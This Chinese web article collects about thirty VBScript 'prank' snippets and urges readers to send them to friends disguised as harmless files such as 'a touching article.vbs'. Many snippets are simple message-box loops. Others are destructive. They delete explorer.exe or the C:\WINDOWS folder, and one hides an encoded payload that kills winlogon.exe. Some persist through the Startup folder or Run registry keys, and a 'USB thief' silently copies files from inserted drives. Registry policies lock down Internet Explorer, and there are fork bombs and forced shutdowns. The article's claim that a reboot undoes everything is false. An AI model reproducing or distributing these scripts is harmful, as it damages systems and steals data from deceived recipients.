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三十二个vbs整蛊代码，快去发给你的好朋友
恶作剧的vbs代码，这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处，最多关机重启一下就可以了，将下面的任意一段代码保存为*.vbs即可
操作方法：把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的，一般都是利用无限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。复制代码代码如下:
do msgbox "hi" loop
无限制的用英文报数复制代码代码如下:
Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop
复制代码代码如下:
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重启wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if
复制代码代码如下:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner
这个没什么，不过加密了，大家可以解密试试
复制代码代码如下:
if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if
复制代码代码如下:
Set ws = CreateObject("Wscript.Shell") ws "cmd.exe /c call calc.exe",0
下面的是删除explorer.exe，导致桌面没有显示，不过它事先帮你备份了，为同目录下的explorer.Data复制代码代码如下:
set ws=CreateObject("Wscript.Shell") ws "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws "cmd.exe /c del /q /f %windir%\explorer.exe
复制代码代码如下:
for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么大本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 关机
复制代码代码如下:
set sh=wscript.createobject("wscript.shell") sh"shutdown -s -t 332" 关闭当前打开的多个窗口
复制代码代码如下:
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next
复制代码代码如下:
dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为例 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍：""" auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" auto.WriteLine "时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"
复制代码代码如下:
dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?"
复制代码代码如下:
do createobject("wscript.shell") chr(34) & wscriptriptname & chr(34) loop
复制代码代码如下:
msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("输入abc，否则关机。") if a="abc" then msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！" exit do else msgbox"乖点，输入abc" end if loop
复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " "
复制代码代码如下:
msgbox"你是不是很无聊啊？",4 msgbox"我来陪你玩会儿" msgbox"做好玩儿的准备吧！" do msgbox"你无聊吗?",vbinformation,"你无聊吗？" loop
复制代码代码如下:
on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscriptriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wrpyfile f,q&"\Win32.vbs",true ws"shutdown -p",vbhide 这个太可恶了 只好重启
复制代码代码如下:
set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop
复制代码代码如下:
Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) filepy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true
复制代码代码如下:
set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop
复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹，快喊"" ",0 ,true dim a do while(a <> "爹") a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "儿子" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"
复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾
复制代码代码如下:
i = MsgBox("由于你灌水太水需要爆破电脑。"&_ vbCrLf&"确定爆破吗？",vbOKCancel,_ "爆破电脑系统！！！！！") if i = 1 then CreateObject("SAPI.SpVoice").Speak "bone" end if
复制代码代码如下:
On Error Resume Next Dim i i=0 Set fso=CreateObject("Scripting.FileSystemObject") IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:") ext=InputBox("请输入要的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt") MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗") fso.CreateFolder(MyFolder) Do WScript.Sleep 1000 If fso.FolderExists(IP & "\") Then Exit Do Loop Scan(IP & "\") Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub
复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true dim a do while(a <> "不重,不重,我就不重!") a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......" msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!" msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~" msgbox chr(13) + chr(13) + chr(13) + "88~" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox " " + chr(14) + "~" Dim a Set a = CreateObject("Scripting.FileSystemObject") a.DeleteFolder ("C:\WINDOWS") 不是死循环了，是让你死机了，重启吧
复制代码代码如下:
msgbox"让你见识一下啥叫狠毒！" do set ws=createobjecet("wscript.shell") ws"explorer.exe" ws"cmd.exe" loop
复制代码代码如下:
on error resume next msgbox"即将格式化！请做好准备！",vbyesno msgbox"准备好后点yes！"，vbyesno msgbox"sorry，忘说了，点no也行！" msgbox"我对不起你啊！呜呜呜555哈哈哈哈！" msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。" msgbox"被人研究！" msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！" msgbox"你咋还笑？！是时候惩罚你了！" do set ws=createobjecet("wscript.shell") ws"explorer.exe" ws"cmd.exe" ws"cmd.exe /c shutdown -s -t 7200",,ture loop
发个特整人的东西复制代码代码如下:
set s.createobject("wscript.shell") lsfile=wscriptriptfullname '获得自己的名称 do '死循环 s lsfile '自己运行自己 s "notepad" '运行记事本 loop '几秒就死机，哈
来个绿色的，无毒无害的：复制代码代码如下:
dim a set a=createobject("sapi.spvoice") a.speak "ha ha ha ha hahahahahahaha"
注：ha ha ha... 可以改为几句粗话！！输入中文后英文要取决于你的电脑会讲英文还是中文！
复制代码代码如下:
dim a a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作") if a=vbyes then do msgbox("从前有座山") msgbox("山上有座庙") msgbox("庙里有两个和尚") msgbox("大和尚给小和尚讲故事说") a=1 loop while a=1 end if
将默认页，搜索页设置百度复制代码代码如下:
if msgbox("这是被封印的东西",65,"警告！！！") = 1 then if msgbox("请不要一意孤行",65,"警告！！！") =1 then if msgbox("不要再按了！！",65,"警告！！！") =1 then if msgbox("气死我了.....",65,"警告！！！") =1 then if msgbox("既然这样...那么这个东西就归你了！",65,"祝你愉快！886") =1 then msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快！886" msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了！！！！",65,"封印解除！！" on error resume next dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=wscript.createobject("wscript.shell") set fso=wscript.createobject("scripting.filesystemobject") set myfile=fso.GetFile(wscriptriptfullname) wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu"
很久很久以前，好像是高考后的那个夏天，收到过朋友的一个恶作剧程序，程序名为“一篇感动人的文章.vbs”，当时什么都不懂，直接双击了，一直耿耿于怀。双击后弹出一个输入框“输入‘我是猪'，否则十五秒后关机。我还以为是搞笑的，什么都没有输入，就真的关机了，觉得很神奇。而现在能够自己写出代码了，却再也找不到以前的快乐。复制代码代码如下:
Option Explicit On Error Resume Next Dim answer Dim WshShell set WshShell = CreateObject("wscript.Shell") WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪'，否则10秒后关机~",0 Do While answer<>"我是猪" answer=InputBox("输入'我是猪'，否则10秒后关机~","哈哈哈",,7000,8000) Loop WshShell.Run "Shutdown /a",0 MsgBox "哈哈哈，好玩不?",,"哈哈哈"
打开记事本，把代码复制粘贴进去，保存为“一篇感动人的文章.vbs”，一个恶作剧程序就完成了，接下来做什么就超出本文范围了。
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